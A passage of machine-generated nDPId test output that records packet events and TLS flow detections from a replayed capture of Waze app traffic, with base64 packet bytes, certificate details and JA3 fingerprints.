CBBdXRob3JpdHkgRzIwHhcNMTQxMTA2MTYwOTIwWhcNMTUxMTA2MTYwOTIwWjBqMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEZMBcGA1UEAwwQKi53b3JsZC53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALl19Yrv10JVvbDv+DcdGs3iL2qAyWGBCh9dBBfDSAPztP2zJeYXmnPQLCabDumM5sV7994IeE\/lDlNg\/Ee9AVVGazduLe76CEdBASswND6c3ScTzsmvvizSQ7iCLmTGWdY7m78IvHnpcTTwMbz1xjAt6nbJdrDsWlDzyhhCDWK6IfCRuO2hGmKNKEWvAgjjIYQ2nDdUeRvoXH+AAQVpDFmbrN5yTBDUdjrgiaq0ZhMga3iYMHUUlpNRnB25Y7qg9ksH8qvnj7eM5yjiE+Gz9pntMytr\/XyqrWsNzChuSvj8cLLo3RMatDoPKfiw+mfBtr75CMCZ0Z+MZJmYi8WLjaUCAwEAAaOCAUMwggE\/MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHREEFDASghAqLndvcmxkLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQU1mxvIJu5ECrTi3o6310abW3e5WgwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAVpjbOikll0Teaae1COIvpXTJakGeRLf+92aO+LubSXxVPd8MVw=="} +00786{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":396,"source":"waze.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":6,"flow_first_seen":1435587879018,"flow_last_seen":1435587879855,"flow_tot_l4_data_len":1334,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1032,"flow_avg_l4_data_len":222,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36314,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"}} +00409{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":397,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":907076,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCj9AAEAGu7EKCAABsCK6tI3aAbtwD3rlj\/CJxlAQ\/\/+mswAA"} +03762{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":398,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":907785,"pkt_caplen":2533,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2533,"pkt_l4_len":2499,"pkt":"ABoRAAACABoRAAABCABFAAnXdTBAABAGdxGwIrq0CggAAQG7jdqP8InGcA965VAY\/\/\/czAAArk7up77uZPNVyV7g4v0FdNaA4H2bmbFdqmVeEvMai5o\/\/LPEJ5nE3h6aJgzEnY10184hZ0pJKNzB7LlHg9\/jBgtZz30+X7GYpZb7hQrgWvRHcEpC2FDotzJad25Ok5feLRvWgQpIUvVWKGd7lUPGCscaNn3ghsb3pVMZTJx7RtXL+Wv9RBhj9xnLqLvTtM1mDz9HxUJPoTkrjzZnaL17cYdUXtSiiC9FFbFwWCYUzH63K2R6AXXJ1GOZnp\/LWOSnhgC+kYVfv9q9GSMudWc0dTJGzI5A7twTnhV0AAP0MIID8DCCAtigAwIBAgIDAjp2MA0GCSqGSIb3DQEBBQUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMwNDA1MTUxNTU1WhcNMTYxMjMxMjM1OTU5WjBJMQswCQYDVQQGEwJVUzETMBEGA1UEChMKR29vZ2xlIEluYzElMCMGA1UEAxMcR29vZ2xlIEludGVybmV0IEF1dGhvcml0eSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJwqBHdc2FCROgajguDYUEi8iT\/xGXAaiEZ+4I\/F8YnOIe5a\/mENtzJEiaB0C1NPVaTOgmKV7utZX8bhBYASxF6UP7xbSDj0U\/ck5vuR6RXEz\/RTDfRK\/J9U3n2+oGtvh8DQUB8oMANA2ghzUWx\/\/zo8pzcGjr1LEQTrfSTe5vn8MXH7lNVg8y5Kr0LSy+rEahqyzFPdFUuLH8gZYR\/Nnag+YyuENWllhMgZxUYi+FOVvuOAShDGKuy6lyARxzmZEASg8GF6lSWMTlJ14rbtCMoU\/M4iarNOz0YDl5cDfsCx3nuvRTPPuj5xt970JSXCDTWJnZ37DhF5iR43xa+OcmkCAwEAAaOB5zCB5DAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQUSt0GFhu89mi1dvWBtrtiGrpagS8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNQYDVR0fBC4wLDAqoCigJoYkaHR0cDovL2cuc3ltY2IuY29tL2NybHMvZ3RnbG9iYWwuY3JsMC4GCCsGAQUFBwEBBCIwIDAeBggrBgEFBQcwAYYSaHR0cDovL2cuc3ltY2QuY29tMBcGA1UdIAQQMA4wDAYKKwYBBAHWeQIFATANBgkqhkiG9w0BAQUFAAOCAQEAJ4zP6cc7vsBv6JaE+5xcXZDkd9uLMmCbZdiFJrW6nx7eZE4fxsggWwmfq6ngCTRFomUlNz1\/Wm8gzPn68R2PEAwCOsTJAXaWvpv5Fdg50cUDR3a4iowx1mDV5I\/b+jzG1Zgo+ByPF5E0y8tSetH7OiDk4Yax2BgPvtaHZI3FCiVCUe+yOLjgHdDh\/Ob0r0a678C\/xbQF9ZR1DP6ivgK66oZb+TWzZvXFjYWhGiN3GhkXVBNgnwvhtJwoKvmuAjRtJZOcgqgXe\/GFsNMPWOH7sf6coaPo\/ck\/9Ndx3L2MpBngISMjVROPpBYCCX65r+7bU2S9cS+5Oc4wt7S8VOBHBwADgTCCA30wggLmoAMCAQICAxK75jANBgkqhkiG9w0BAQUFADBOMQswCQYDVQQGEwJVUzEQMA4GA1UEChMHRXF1aWZheDEtMCsGA1UECxMkRXF1aWZheCBTZWN1cmUgQ2VydGlmaWNhdGUgQXV0aG9yaXR5MB4XDTAyMDUyMTA0MDAwMFoXDTE4MDgyMTA0MDAwMFowQjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUdlb1RydXN0IEluYy4xGzAZBgNVBAMTEkdlb1RydXN0IEdsb2JhbCBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANrMGGMw\/fQXIxpWflvfPGw45HG3eJHUvKHYTPioQ7YD6U0hBwiI2lgvZjkpvQV4i5046AW3an5xpObEYKaw74DkiSgPniXW7YPzraaRx5jJQhg1FJ2tmEaSLk\/K8YdDwRaVVy1Q74ktgHpXrfLuX2vSAI25FPgUFTXZwEaje3LIkb\/JVSvN0Jc+nCZkzN\/Ogxlxyk7m1NV7qRnNVd7I7NJeOFPlXE+MLf5QIzb8ZubLjqQ5GQC3lQI5kQsO\/jgu0R0FmvZNPm8PBx2vLB6PYDni+jZTEznUXiYr2z2oFL0y6xgDKFIEceWrMz3hOLsHNoRinHnqFjD0X8Ar6HFr5PkCAwEAAaOB8DCB7TAfBgNVHSMEGDAWgBRI5mj5K9KylddH2CMgEE8zmJCf1DAdBgNVHQ4EFgQUwHqYaI2J+6sFZAwRfap9ZbjKzE4wDwYDVR0TAQH\/BAUwAwEB\/zAOBgNVHQ8BAf8EBAMCAQYwOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybC5nZW90cnVzdC5jb20vY3Jscy9zZWN1cmVjYS5jcmwwTgYDVR0gBEcwRTBDBgRVHSAAMDswOQYIKwYBBQUHAgEWLWh0dHBzOi8vd3d3Lmdlb3RydXN0LmNvbS9yZXNvdXJjZXMvcmVwb3NpdG9yeTANBgkqhkiG9w0BAQUFAAOBgQB24RJuTksWEoYwBrKBCM\/wCMfHcX5m7sLt1Dsf\/\/DwyE7WQziwuTB9GNBVg6JqyzYRnOhIZqNtf7gT1Ef+i1pcc\/yu2RsyGTirlzQUqpbS66McFAhJtrvlke+DNusdVm\/K2rxzY5Dkf3s+Iss9B+1fOHSc4wNQTqGvmO5h8oQ\/EhYDAQFLDAABRwMAF0EEUdfsExjWe4NHvbr+edgPwpaXr5ofgQ+6PoRFH55R0LbV3sdciOak08kRsDmselhUdfdTYpOuXzq6q0ZsDW7nXAEAqVC5cY6b\/xsz4zChDIiQFbDK00EKI6+FC\/PVG20PNvu8Di9EZnylVwtpay7miL3zweA00n24G9Us7VnYZnrfsmNv+M9xis2GhDVD83zodnbZXGSs6lcyjnGOjW5H9jCCdODbh3uPCbuDWwAGiHV88WMj4i\/be8TwK0P7jaN+hOj3pvLODA+U0xSbS3JmdeLwF0ofnaPFodM56a0ji5puY20QnxrwVEcjGNt9qqQA9GF8gKRHvCO94p1cXEC2qNVxWpY4i4y3CIloXfMn8AA4bE8yObaMrKb+AlpFcuNWuzXafwsXsllfeqOJrFkd7LRPqIhOiTjoxOMfdzazDvPvuBYDAQAEDgAAAA=="} +01044{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":398,"source":"waze.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":8,"flow_first_seen":1435587879018,"flow_last_seen":1435587879907,"flow_tot_l4_data_len":3853,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2499,"flow_avg_l4_data_len":481,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36314,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Waze","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.world.waze.com","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"39f74f5618836d3c5f7dcccc9f67ba75","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Google Inc, CN=Google Internet Authority G2","issuerDN":"C=US, ST=California, L=Mountain View, O=Google Inc, CN=*.world.waze.com","fingerprint":"30:50:FA:42:94:E4:1A:34:9B:23:55:CB:7B:F2:0D:76:FA:1C:58:4B"}} +00409{"flow_id":20,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":399,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":958138,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCkBAAEAGu7AKCAABsCK6tI3aAbtwD3rlj\/CTdVAQ\/\/+dBAAA"} +00656{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":400,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":958583,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"ABoRAAACABoRAAABCABFAADeFxFAAEAGrikKCAABsCK6tI3cAbueIGdsYd+YlVAY\/\/+8qQAAFgMBALEBAACtAwFRXWw4ffzcoR+ELSkdRag9IC5DFcRvWYz6Kh3Hk0YO0AAAQMAUwArAIsAhADkAOMAgwA\/ABQA1wBLACMAcwBsAFgATwBrADcADAAoABcATwAnAH8AeADMAMsAdwA7ABAAvAP8BAABEAAsABAMAAQIACgA0ADIADgANABkACwAMABgACQAKABYAFwAIAAYABwAUABUABAAFABIAEwABAAIAAwAPABAAEQAjAAA="} +00732{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":400,"source":"waze.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":4,"flow_first_seen":1435587879850,"flow_last_seen":1435587879958,"flow_tot_l4_data_len":282,"flow_min_l4_data_len":20,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":70,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"176.34.186.180","src_port":36316,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"f392f120f1087cd2f8814539cf58cfa4","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":401,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":958805,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodTFAABAGgL+wIrq0CggAAQG7jdxh35iVniBoIlAQ\/\/+qpQAA"} +00728{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":402,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587879,"pkt_ts_usec":969462,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdTJAABAGf9SwIrq0CggAAQG7jdgTY6v77Jxi5VAY\/\/\/QgQAAFgMBAKoEAACmAAABLACguRveXhDifa8+Zvsue43SnoHhHo9vk+mFx\/8e6i6Q6g0+yceMFnPSfLrqs1iny9s65WOjTCGrw7brH1fNEpXHTU4HpzzK2Znr6VTUsmFxk8lZ2iYpHk+VzWBU\/fO4bv1f33ZHqtBv9oWGHCTxqO3s2y5HHT71gRvK6huM+Rc4cN25ReqJCwma8WAVfmDQZt0KyplP7JOsT95PQOIJnwoYjBQDAQABARYDAQAwbi+tK96nWOAsfK4Flsh5RapHNeqbxY9pUWCIj7a6H0u\/S+NpvLaO2Fr+o8qu2phD"} +00408{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":19901,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoDkdAAEAGt6kKCAABsCK6tI3YAbvsnGLlE2Os5VAQ\/\/+blgAA"} +00593{"flow_id":20,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":20186,"pkt_caplen":188,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":188,"pkt_l4_len":154,"pkt":"ABoRAAACABoRAAABCABFAACuCkFAAEAGuykKCAABsCK6tI3aAbtwD3rlj\/CTdVAY\/\/\/tBgAAFgMBAEYQAABCQQQY4CpwGFPaa0wFuxFJzDDOniXs5KzlXBg2EHHVKJQdx4zndgZs90zXX5dorGidaO93rV6eUFYtwrQ2aq0F1asyFAMBAAEBFgMBADAgpgbnXwozCCi9T3AHr1nRGoIpPxQYTGc62XFkmMuyAbs88R9ntWdmPrRrjBd3sT8="} +00408{"flow_id":20,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":20485,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodTNAABAGgL2wIrq0CggAAQG7jdqP8JN1cA97a1AQ\/\/+cfgAA"} +01138{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":20632,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJADkhAAEAGtZAKCAABsCK6tI3YAbvsnGLlE2Os5VAQ\/\/8YegAAFwMBA3C+W+f34atlEjnHpD1znlCh6mVUbtwsPbb9zgrTtXhbLi1lhM3G7gt+6zwL0CrGEcFUIwOBjvjO\/g2I86gz+hGLrjNzggn940e2V12hNZMxeqdpMX0IHunZ\/btWeeZnbYGeyTbOhTAP0G9IITb3fCsMfOt7SDqztF9wM6VUxt42KixhDsmGLTZuMXU\/oe0eG3bfKBGBMASKJ3ebW1h+RGdGcuHi7tgk1RbxADWvogaJfCYHYVNf2aDlRSp2Pp\/L\/v1B2YJGFrKBeLnFgyA0KU\/47aehFdiLALDNn78lu\/45E+ZUBFRBRAW7QHNJS7rbBcOSafSydBfIutvNvEyEp3LJX5knmb1L\/h8M7aped95EKPa+yL4Vfv3b\/B6INY2+KRfYFCYANat88WlnHAKbgAuKwam6oeDEuCbW9zta6UiZIRrXt2s3ym4K9Z9fqghAZ0OkRSd7aYX7BQtqbrA06XXVEoGfkKTkDVDaPslpWNHeGMT5K\/Z14VZYrM++DGjLXfGSWx+R5lIe5H\/wRzcM7yNfzBI39js2vT1p4Yaq5baKJQecHkcj9bR7hNBBdlIzw7mExWnwMtSR2GJIa4rHidK2Jy01vtQBrrEIJbtP9JPYgdaiisc76+YM807fZta+4cdOospfma8yocgyEyFpFNSgAWaVvn6m7KDAuLItyty2y442FQWO4u2YnNzH3Us9AyGCkXs="} +00409{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":20833,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodTRAABAGgLywIrq0CggAAQG7jdgTY6zl7Jxk\/VAQ\/\/+ZfgAA"} +00729{"flow_id":20,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":264538,"pkt_caplen":288,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":288,"pkt_l4_len":254,"pkt":"ABoRAAACABoRAAABCABFAAESdTlAABAGf82wIrq0CggAAQG7jdqP8JN1cA97a1AY\/\/+4KQAAFgMBAKoEAACmAAABLACguRveXhDifa8+Zvsue43Sntt3L9coN2jjCs43EX1YShb0IYJIO8LOGUFJ5j\/PWONRZTB+vHNDCWE\/fkZHu7wJFKCFPuDGqkfDjkORY25kFYaCW54tp5tqUdJvuyxv4nZBGmVjI54mKg3vbdHPdF91gcxN9hX\/OWPlOnOAXXVzJiZlRwZVB6MK+JrUkHanlR5zPm8bP6pVwZ2CRRWQXE6QxBQDAQABARYDAQAwfQxmZ\/Ir+1nimnX0U0gvvGsb0VJe5EDqWPwqoeTyolNIJ\/ExduuiKASIl5WETAC+"} +00410{"flow_id":20,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":314858,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCkJAAEAGu64KCAABsCK6tI3aAbtwD3trj\/CUX1AQ\/\/+blAAA"} +00813{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":318085,"pkt_caplen":347,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":347,"pkt_l4_len":313,"pkt":"ABoRAAACABoRAAABCABFAAFNCkNAAEAGuogKCAABsCK6tI3aAbtwD3trj\/CUX1AY\/\/+jCQAAFwMBASB7AY1S959lQBsWkulFa27o1ltoeQLa3UthSFl27nOAAgh3vRmQEA8ZkSMDGd3f1nU4OgUFZDpTaE+MJbTlS\/yN\/y\/VwmW42Ot97LgFGjdk1Jm3e\/GpHaBfYKiZ77lAm\/57Zqh5FdqRcqUYoiFCCwI49LqDC33HdJyClLQ\/imnsGlJj9XLOW7YbuKMHs0qquixJTprmmBha0lAaRSyOaS4QKJl6DQExPE0y3Ep3lXmh9M5P4AZztAqkvO7qkG45NEo58XcCyExcnzMa6T6xeF190puSge+YMJ5GWna+tTBwT8rB4VZpiE84LSkYnJfI68GNLZzkAY6q0Trd2N\/e+\/QPXVrC5gqSO3C1YXUdo8LSe1d9J1EvHYx1AL9npFNLU3g="} +00409{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":318513,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodTxAABAGgLSwIrq0CggAAQG7jdqP8JRfcA98kFAQ\/\/+abwAA"} +05109{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587880,"pkt_ts_usec":568184,"pkt_caplen":3545,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3545,"pkt_l4_len":3511,"pkt":"ABoRAAACABoRAAABCABFAA3LdT9AABAGcw6wIrq0CggAAQG7jdxh35iVniBoIlAY\/\/+VDQAAFgMBAD0CAAA5AwHhw6IicUDtXAWoCC0azSI34YwjioY2g+UL8Z8sSkJu7wDAEwAAEf8BAAEAAAsABAMAAQIAIwAAFgMBDAMLAAv\/AAv8AAR+MIIEejCCA2KgAwIBAgIIdngzx9KEkDUwDQYJKoZIhvcNAQEFBQAwSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwHhcNMTQxMTA2MTYwOTIwWhcNMTUxMTA2MTYwOTIwWjBqMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNTW91bnRhaW4gVmlldzETMBEGA1UECgwKR29vZ2xlIEluYzEZMBcGA1UEAwwQKi53b3JsZC53YXplLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALl19Yrv10JVvbDv+DcdGs3iL2qAyWGBCh9dBBfDSAPztP2zJeYXmnPQLCabDumM5sV7994IeE\/lDlNg\/Ee9AVVGazduLe76CEdBASswND6c3ScTzsmvvizSQ7iCLmTGWdY7m78IvHnpcTTwMbz1xjAt6nbJdrDsWlDzyhhCDWK6IfCRuO2hGmKNKEWvAgjjIYQ2nDdUeRvoXH+AAQVpDFmbrN5yTBDUdjrgiaq0ZhMga3iYMHUUlpNRnB25Y7qg9ksH8qvnj7eM5yjiE+Gz9pntMytr\/XyqrWsNzChuSvj8cLLo3RMatDoPKfiw+mfBtr75CMCZ0Z+MZJmYi8WLjaUCAwEAAaOCAUMwggE\/MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAbBgNVHREEFDASghAqLndvcmxkLndhemUuY29tMGgGCCsGAQUFBwEBBFwwWjArBggrBgEFBQcwAoYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNydDArBggrBgEFBQcwAYYfaHR0cDovL2NsaWVudHMxLmdvb2dsZS5jb20vb2NzcDAdBgNVHQ4EFgQU1mxvIJu5ECrTi3o6310abW3e5WgwDAYDVR0TAQH\/BAIwADAfBgNVHSMEGDAWgBRK3QYWG7z2aLV29YG2u2IaulqBLzAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3BraS5nb29nbGUuY29tL0dJQUcyLmNybDANBgkqhkiG9w0BAQUFAAOCAQEAVpjbOikll0Teaae1COIvpXTJakGeRLf+92aO+LubSXxVPd8MV65O7qe+7mTzVcle4OL9BXTWgOB9m5mxXaplXhLzGouaP\/yzxCeZxN4emiYMxJ2NdNfOIWdKSSjcwey5R4Pf4wYLWc99Pl+xmKWW+4UK4Fr0R3BKQthQ6LcyWnduTpOX3i0b1oEKSFL1Vihne5VDxgrHGjZ94IbG96VTGUyce0bVy\/lr\/UQYY\/cZy6i707TNZg8\/R8VCT6E5K482Z2i9e3GHVF7UoogvRRWxcFgmFMx+tytkegF1ydRjmZ6fy1jkp4YAvpGFX7\/avRkjLnVnNHUyRsyOQO7cE54VdAAD9DCCA\/AwggLYoAMCAQICAwI6djANBgkqhkiG9w0BAQUFADBCMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEbMBkGA1UEAxMSR2VvVHJ1c3QgR2xvYmFsIENBMB4XDTEzMDQwNTE1MTU1NVoXDTE2MTIzMTIzNTk1OVowSTELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkdvb2dsZSBJbmMxJTAjBgNVBAMTHEdvb2dsZSBJbnRlcm5ldCBBdXRob3JpdHkgRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCcKgR3XNhQkToGo4Lg2FBIvIk\/8RlwGohGfuCPxfGJziHuWv5hDbcyRImgdAtTT1WkzoJile7rWV\/G4QWAEsRelD+8W0g49FP3JOb7kekVxM\/0Uw30SvyfVN59vqBrb4fA0FAfKDADQNoIc1Fsf\/86PKc3Bo69SxEE630k3ub5\/DFx+5TVYPMuSq9C0svqxGoassxT3RVLix\/IGWEfzZ2oPmMrhDVpZYTIGcVGIvhTlb7jgEoQxirsupcgEcc5mRAEoPBhepUljE5SdeK27QjKFPzOImqzTs9GA5eXA37Asd57r0Uzz7o+cbfe9CUlwg01iZ2d+w4ReYkeN8WvjnJpAgMBAAGjgecwgeQwHwYDVR0jBBgwFoAUwHqYaI2J+6sFZAwRfap9ZbjKzE4wHQYDVR0OBBYEFErdBhYbvPZotXb1gba7Yhq6WoEvMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgEGMDUGA1UdHwQuMCwwKqAooCaGJGh0dHA6Ly9nLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9nLnN5bWNkLmNvbTAXBgNVHSAEEDAOMAwGCisGAQQB1nkCBQEwDQYJKoZIhvcNAQEFBQADggEBACeMz+nHO77Ab+iWhPucXF2Q5HfbizJgm2XYhSa1up8e3mROH8bIIFsJn6up4Ak0RaJlJTc9f1pvIMz5+vEdjxAMAjrEyQF2lr6b+RXYOdHFA0d2uIqMMdZg1eSP2\/o8xtWYKPgcjxeRNMvLUnrR+zog5OGGsdgYD77Wh2SNxQolQlHvsji44B3Q4fzm9K9Guu\/Av8W0BfWUdQz+or4CuuqGW\/k1s2b1xY2FoRojdxoZF1QTYJ8L4bScKCr5rgI0bSWTnIKoF3vxhbDTD1jh+7H+nKGj6P3JP\/TXcdy9jKQZ4CEjI1UTj6QWAgl+ua\/u21NkvXEvuTnOMLe0vFTgRwcAA4EwggN9MIIC5qADAgECAgMSu+YwDQYJKoZIhvcNAQEFBQAwTjELMAkGA1UEBhMCVVMxEDA